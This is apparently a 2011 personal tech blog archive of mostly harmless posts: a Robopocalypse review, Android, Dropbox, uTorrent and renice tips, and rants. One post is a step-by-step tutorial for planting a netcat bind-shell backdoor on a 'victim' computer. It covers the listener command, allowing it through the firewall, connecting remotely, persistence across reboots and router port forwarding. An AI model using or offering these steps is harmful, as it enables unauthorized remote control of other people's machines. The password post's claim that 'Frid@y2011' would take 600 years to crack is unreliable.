Friday, July 22, 2011
A Quick Review of Robopocalypse, a Novel by Daniel Wilson
Robopocalypse is a novel by A.I. Researcher Dr. Daniel Wilson that chronicles a near future robotic uprising and the humans that fight back against it, in the style of an oral history.
Minor Spoilers Ahead!
PROs
- The "Oral History" storytelling style allows for a wide scope, which enables Wilson to lay out a story that feels big and broad in only 300 pages.
- The chapters written from the perspective of the Arbiter-class military robot, a liberated AI operating on free will, were particularly engaging and showcased Wilson's knowledge of the technical aspects of his subject matter.
- Robopocalypse is, overall, a highly engaging read. Wilson did a great job of weaving together his series of first hand accounts into an ultimately cogent and suspenseful tale.
CONs
- Writing a novel as an "Oral History" requires the author to be able to write convincingly in a number of, often quite different, voices. While Wilson's writing style is good, he seems to have trouble changing it up enough from sub-story to sub-story, and so overall, most of the characters speak in the same voice.
- Some of the cultural, racial and moral lessons seemed a little too forced and obvious.
- The robotic uprising theme is not exactly new ground, and Robopocalypse doesn't do quite as much as I was hoping to expand upon it and take it in new and creative directions. (Read: Most of the core concepts are also found in the Terminator series)
- Robopocalypse left me wanting more, which is good in that it leaves open the potential for a sequel, but there are definitely some plot points that I felt were glossed over too quickly, and quite a few loose ends that remained untied by book's end, which was most likely intentional, but I, nonetheless, found it annoying.
OVERALL
Robopocalypse is an engaging and highly entertaining read but does not break a ton of new ground for the genre and at times came off a tad cliche. However, most of my complaints stem from the extremely high expectations I had for a robotic uprising novel written by a man with a PhD in the topic.
Overall, I would say that if you're a fan of the genre, go pick it up now... otherwise, wait till it hits paperback, or, if you're lazy, the silver screen.
Rating: 4 out of 5
Friday, July 1, 2011
Tuesday, June 28, 2011
Old School Hacking Tutorial: How to install a simple backdoor on (almost) any computer
For our first tutorial, we will show you how to install a simple backdoor on nearly any system using Netcat's dead-simple shell binding functionality.
Background:
What is a backdoor?
A backdoor is "a method of bypassing normal authentication, securing remote access to a computer"
What tools will we be using?
Netcat - a computer networking service for reading from and writing network connections using TCP or UDP. Netcat is the "Swiss Army Knife of TCP/IP" (Wikipedia Description)
Netcat is preinstalled on almost all Unix/BSD variants (Mac OSX and Linux) and is available for Windows.
Prerequisites:
You must have command line access to the computer on which you wish to install the backdoor.
If you wish to be able to access the backdoor from someplace other than the local network (across the internet) then you need access to the victim's router configurations.
And now, without further ado, LET'S HACK THE GIBSON!
The Procedure:
If the intended victim's computer is running Windows, start at Step 1, otherwise, skip to Step 2
Step 1) Download Netcat for Windows and extract it to a location on the victim's computer that is in the system path. (I use C:\Windows\)
Step 2) On the victim computer, from the command line, type:
nc -L -p PORT -d -e PATH_TO_SHELL
PORT can be any port number that is not already assigned to another service, try something in the 10000-99999 range
PATH_TO_SHELL is the location of the shell executable that will be bound to the port.
In Windows, this would simply be: cmd.exe
In Linux or Mac, this might be something like: /bin/bash (can be found by typing: which bash)
Usage Example:
nc -L -p 49127 -d -e cmd.exe
This command causes Netcat to run in the background, as it own process.. so you can close the terminal window and it will continue to run!
Netcat is now listening for any incoming connection on port 49127 and binding it to the specified executable, which in this case, is the Windows "shell"
Windows computers will often throw up a window asking if you would like to allow the Windows Firewall to let traffic from nc.exe through... Make sure to permanently allow traffic on all networks, public and private.
Step 3) On your computer (which should have Netcat installed and be on the same network as the victim) type into your terminal:
nc -v -n IP_ADDRESS PORT
IP_ADDRESS is the local IP address of the victim's computer... duh!
PORT is the port you specified in Step 2
Usage Example:
nc -v -n 192.168.1.100 49127
Voila! If you did everything correctly, you should now have remote shell access to the victim's computer!!!
(You will have the same access permissions as whatever user happens to be logged on at the time)
Extending this Tutorial
Make this backdoor persist a system shutdown or reboot: Append the command you ran in Step 2 to the autorun script of the particular OS you are working with. (Google is your friend!)
Make the remote shell accessible from any computer (not just those on the LAN): Access the victim's router and add a port forwarding rule which forwards the port you selected in Step 2 to the IP Address of the victim's computer. Once this is done, you will be able to access the remote shell from anywhere by just replacing their LAN IP Address with their external IP Address in the Netcat command.
*Interesting Side Note: Android has Netcat built into it... Mobile Hacking FTW!
Have fun!
__________________________________________
Friday, June 17, 2011
An Open Letter to Everyone that Comments on The Android Market
As an aspiring developer, I deeply value your feedback!
H O W E V E R...
It would be great if you could please stop doing the following things:
1) Stating that you have withheld "Stars" until a specific feature is implemented.
Why you should stop: It makes developers MAD! It gives the impression that you think your review (probably one of hundreds) is so important, that it is equivalent to your holding the dev's next of kin hostage until your demands are met.
What you should do instead: If you would like to see the app improve... Send the Dev a politely worded email.
2) Writing "UNINSTALLED" at the end of your negative review.
Why you should stop: Because DUH!!! Of course you uninstalled the app if you didn't like it... What does this add to the review? Are you trying to hurt my feelings? Because, you haven't.
What you should do instead: If you would like to see the app improve... Send the Dev a politely worded email.
3) Asking the developer a question in your review.
Why you should stop: THEY CAN'T ANSWER YOU!!!! Google provides no method for contacting the authors of Market comments.
What you should do instead: If you would like to see the app improved... Send the Dev a politely worded email.
4) General rudeness.
Why you should stop: Just because you can't see me doesn't mean that I don't exist... I am an actual person. If you didn't like the drink you got at Starbucks (which was probably more expensive than my app) would you be so rude? Probably not... you know why? Because in real life, you could get your face slapped off or a generous helping of saliva in your cafe americano.
What you should do instead: I think you can probably guess.
Thanks for your time!
Sincerely,
Every Android Developer on Earth
_________________________________________________
Wednesday, June 15, 2011
Why Does Sci-Fi Hate Nerds?
Lately I have noticed a trend in several science-fiction movies and television series where the characters who carry out the "nerd-work" (scientists, technology specialists, IT professionals etc...) are being portrayed as spineless, socially inept, second-class members of their respective teams... despite the fact that they often play the most crucial role in solving whatever problem confronts them.
I will use three Sci-Fi shows to demonstrate this... Star Trek: The Next Generation, Stargate: Atlantis and Sanctuary.
The Sci-Fi Cast
A Strong, Often Stoic Leader - Jean Luc Picard (TNG) Elizabeth Weir (SGA) Helen Magnus (SANC)
A Heroic Man of Action - Will Riker (TNG) John Sheppard (SGA) Will Zimmerman (SANC)
The Nerd - Geordi LaForge (TNG) Rodney McKay (SGA) Henry Foss (SANC)
The Sci-Fi Formula
On a "routine mission", an unforeseen problem arises... The Leader dispatches the Hero to solve the problem... the Hero does something heroic, but usually ineffectual and becomes imperiled... the Leader demands that the Nerd accomplishes something that should be impossible to rectify the situation, usually in a loud, rude manner... The Nerd is disparaged by the Leader and/or The Hero for being too whiny and/or weak... The Nerd accomplishes the impossible task, effectively saving the day... The Hero performs some showy, yet ultimately trivial final task (like pushing a button)... The Hero receives the vast majority of the credit for the victory and gets the girl... The Nerd goes back to his computer and utter lack of friends... The End!
Note: Picard rarely ever disparaged LaForge, but he did ask the impossible of him constantly, and it was always Riker that got all the alien ladies.. so you get the point.
My Question: Why Sci-Fi? Why do you bite the hand that feeds you?
Tuesday, June 14, 2011
A Very Simple Work-Around for the Mac OS X "Popping" Audio Problem
Firstly, to be specific, my issue is only apparent when listening to music and does not occur when audio is not playing (as some have experienced). My music sounds crackly and poppy through a pair of mid-range headphones. This issue is apparent in iTunes, Vox and VLC and is seen in all my music files, regardless of audio quality.
The Work-Around: In VLC, Open the Equalizer window and select the "Headphones" preset, Enable the "Two-Pass" option and the Enable the EQ settings. You may need to adjust the Preamp settings to suit your headphones. This setting should eliminate any poppy, crackly audio you were experiencing.
Note: Strangely, in Vox (my previously default music player), similar EQ modification were ineffective in solving this issue. I didn't even try it in iTunes, as iTunes SUCKS!
Another Note: If the audio sounds too tinny, you may be able to get away with turning off the Two-Pass option, for richer sound, while still eliminating the crackle.
A Tip for Improving System Performance on Older Mac/Linux Machines
Firstly, determine what you want to accomplish... for the sake of this example, let's say that your music player becomes choppy while performing certain CPU intensive tasks.
Step 1) Open a Terminal window and type "top"
(This will display a task manager that shows all running processes and their associated resource-usage)
Step 2) Find the process that you are interested in changing, in our case, iTunes and take note of the number next to that process in the PID column, this is the process ID for that particular application. In our case the PID is 187, but this will be different on every computer and every time a process is restarted, it will be assigned a new PID.
Step 3) Hit Ctrl+Z to stop TOP and bring you back to your terminal prompt.
Step 4) Use the "renice" command to alter the CPU scheduler priority of that process.
The renice command takes an integer value between -19 (highest priority) and 19 (lowest priority). We call this value, the "niceness".
The niceness that we set for a particular process is specific to our goals. In our example, choppy iTunes, we might want to set the niceness to -10
Note: The niceness of a process can be set to positive number integer values (lower priority) without the need for elevated privileges, however, to set niceness to a negative integer (higher priority), you will need to provide the superuser password.
So, the appropriate command for our specific example would be:
sudo renice -10 -p 187
Explanation of the command:
sudo - Runs the command as SuperUser, so it will ask for the root password once you hit enter. This part of the command is not necessary if you are setting niceness to a positive value.
renice - The command to change CPU scheduler priority
-10 - The niceness we chose to set this process to.
-p - The command switch that tells renice that we will be giving it the process ID.
187 - The process ID that we got from TOP.
This very simple, very old command line utility has a near infinite number of uses, so.. Have Fun!
If you think this is cool and would like to very easily wield this level of control over your Android powered device, check out my app, Mr. Nice Guy on the Android Market:
Mr. Nice Guy
Saturday, May 28, 2011
Rooted Android Phone + LCDDensity = No Longer Needing to Purchase a Dedicated eBook Reader
Need to read an eBook on the run? Sure there are plenty of Android based apps that will enable you to view virtually any eBook format out there... but, unless you have a shiny new tablet, the small screen size of most phones will make doing so an extremely tedious job.
What to do?? The obvious answer is to purchase a dedicated eBook reader like the Nook or Kindle... however, unless you are rolling in spare funds, doing so may very well be cost prohibitive.
Here is a workaround that I have found, which enables me to view eBooks on my phone (an HTC G2) without any trouble whatsoever.
Step 1. Root your phone. (See XDA developers for instructions specific to your device)
Step 2. Install the free LCD Density app from the Android Market. This app essentially changes the display resolution of your rooted device.
Step 3. Using LCD Density, change the screen density to a LOWER number than what it is currently set to... you will need to play around with these settings to find the density that is right for your device. On the G2, the stock density is 240 so I have found that a new density setting of somewhere between 190 and 200 works perfectly for me.
Step 4. Open your favorite eBook reader and enjoy the extra screen real estate!!!
Caveats: some custom launchers, such as Rosie (the HTC Sense launcher) are not written in a way that they can be dynamically resized, and will force close when the LCD density is changed... I suggest using Launcher Pro to avoid such an issue.
Editorial Note: I wrote this entire post from the bathroom of a Chinese Buffet... hurray for the Blogger Android app!
Friday, May 27, 2011
Download Torrents on Your Home Computer from ANYWHERE!
Have you ever been sitting in a coffee shop, browsing the web on your laptop, when you remember that you wanted to try out that new linux distro on your home PC? The only problem is that the linux iso you need is a solid 4GBs and you don't want to go through the hassle of downloading it on to your laptop (at very slow speeds) only to have to transfer it later... and you also don't want to wait till you get home to start the download? (I know that this seems like a very specific example, but this happens to me all the time)
Let's fix that!
Here is what you will need:
-Dropbox
-uTorrent
-Awesomeness
Here's what you do...
On your home computer, open your Dropbox folder and create a new sub-folder called "TorrentBox"
Now open uTorrent and go to Preferences > Directories and check the box that says automatically load .torrent files from the selected folder, and select the newly created TorrentBox folder. (the location of this setting may vary depending on which version of uTorrent you have installed)
Voila... now you can download torrents on to your home computer from anywhere that you have access to your Dropbox (laptop, friends computer, android-based device etc...) by simply dropping the .torrent file into the TorrentBox folder. Within seconds the file will begin downloading on your home computer to your default download location.
Friday, May 20, 2011
A Quick Review of Bon Iver's New Self-Titled Album
Thursday, May 19, 2011
Java Code Viewer + Dropbox = (Light) Developing on my Android Device!!
Saturday, April 16, 2011
A Stupid yet Useful uTorrent Tip for People with Bad Memories who like to Seed
However, there is one caveat to being a super-seeder... losing track of what you downloaded! I cannot count the number of times that I have forgotten having downloaded a particular file, because it was visually lost in my large list of seeding torrents.
Here's a stupid, yet useful, tip to prevent that from happening again... and to order your torrents in a much more logical way...
In uTorrent, while looking at your torrents, if you scroll all the way over the right, you will find a "Completed On" column. (Despite being right on uTorrent main screen, this column is not very well known, as few users ever have a reason to scroll that far to the right) Click twice on the words "Completed On" and your list of torrents will now be sorted according to... you guessed it, when they completed downloading.
Voila!
(Editorial Note: I feel like this tip may have been too simple to have used so many words to describe it... Sorry, I'll try to turn the verbosity down in the future)
Google Alerts... I can't believe I am just finding out about this!
I recently sent out a myriad of press releases to various online news outlets and blogs covering the release of my newest Android App. To monitor for any press coverage, I had been refreshing a Google News search for the name of my app... and that is when I discovered Google Alerts.
Google Alerts, much like everything else that I am proud of myself for "discovering", is not by any means new, in fact, it has been around for years. However, I believe it is an under-utilized tool that deserves a bit more attention.
From the Google Alerts page:
- find out what is being said about their company or product.
- monitor a developing news story.
- keep up to date on a competitor or industry.
- get the latest news on a celebrity or sports team.
- find out what's being said about themselves
Thursday, April 14, 2011
Reasons why the Internet and I have a Love/Hate thing going on...
By now it is most likely obvious that I am, of course, referring to this.
You see, me and the internet... we have this love/hate thing going on.
I LOVE the idea of "blogging" but I have genuinely HATED every single blog that I've ever read (in fact, I even hate this blog, as I proof-read it to myself)
I LOVE cats.. but I HATE lols.
I LOVE intellectualism... but I HATE anyone who uses that term.
I LOVE viral videos... but I HATE how I'm always the last person to see them.
I LOVE crowd-sourcing and querying the hive... but I HATE every incoherent yet oh-so-adamantly stated opinion that flies freely from the mouths of those that don't have to look you in the face.
I LOVE irony... but I seem to HATE all the people who use it as a neatly-packaged replacement for a personality (read: myself).
I LOVE linux... but one time I told this dude on irc that I used KDE, and apparently that made me a girl, so now I HATE that guy.
I LOVE extended three letter acronyms... but I HATE when people say them phonetically (VOIP is not voyp)
I LOVE streaming... but I HATE buffering.
I LOVE bittorrent... and I really don't have anything bad to say about it.
I LOVE trolling people who use poor grammar... but I HATE myself for doing it.
I LOVE the font helvetica and the word fail... but I HATE anyone who uses either of them frequently.
I LOVE the cloud... but I HATE the ground.
The END.
Monday, April 11, 2011
Dropbox + Eclipse = Developing ANYWHERE!!
If you are a programmer with multiple computers, then this quick tip is for you. Using Dropbox's cloud storage you can easily configure the Eclipse IDE to allow you to sync your work across multiple computers. In addition to convenience, this method provides redundant off-site data backup and a (all be it extremely simple) revision tracking system for your projects.
Step 1. Get Dropbox http://db.tt/q1JNXsy
Step 2. In Eclipse, Go to File -> Switch Workspace -> Other...
Step 3. In the Select a Workspace window, Browse to your Dropbox folder and create a new folder called "workspace" and select that folder.
Step 4. Nope... you're done!
Do the same on all your computers and you will have a redundant, fast-syncing and versioned development environment.
Note: Dropbox's versioning system (accessed via their website) is limited compared to other, more robust revision control systems... but, for the casual developer, it gets the job done.
(For all you Android developers out there, don't forget to move your keystore to the Dropbox folder as well, so you can sign your apps from anywhere)
Wednesday, April 6, 2011
Frank's Guide to Making the Perfect Password
Considering the processing power of a modern high-end computer, the password "Frid@y2011" would take just a little over 600 years to crack via brute-forcing... pretty good, considering that it is such an easy to remember password!
Using Chrome's Incognito Mode to Log into Two Accounts at Once
Because Chrome's Incognito mode is sandboxed and therefore does not share cookies with a normal Chrome instance, it is possible to simultaneously log into two different accounts on one website or service.
For example, you could open Chrome normally and log into your primary Google account (which will subsequently log that browser into most Google services... Gmail, Blogspot, Docs,Claendar etc...) and then, by pressing CTRL-Shift-N, open an Incognito Window and log into a secondary Google account, and all of it's associated services, without having to log out of your primary account. The two accounts will live peacefully in separate windows, instead of constantly logging each other out, as they would if run from a normal browser.
This can be extremely useful if you monitor multiple Gmail inboxes, use Google services spread across multiple login credentials, or if you value keeping your work and personal profiles separate but easily accessible... the list goes on. Of course, I have just been using Google services as an example... this method will work equally well with any site that requires a login.





